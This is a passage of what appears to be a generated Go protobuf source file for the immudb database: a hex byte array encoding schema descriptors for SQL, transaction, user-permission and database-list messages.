0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, - 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x4d, - 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x4d, - 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, - 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, - 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, - 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, - 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, - 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, - 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, - 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, - 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, - 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, - 0x64, 0x22, 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, - 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, - 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, - 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, - 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, - 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, - 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, - 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, - 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, - 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, - 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, - 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, - 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, - 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, - 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, - 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, - 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, - 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, - 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, - 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, - 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, - 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, - 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, - 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, - 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, - 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, - 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, - 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, - 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, - 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, - 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, - 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, - 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, - 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, - 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, - 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, - 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 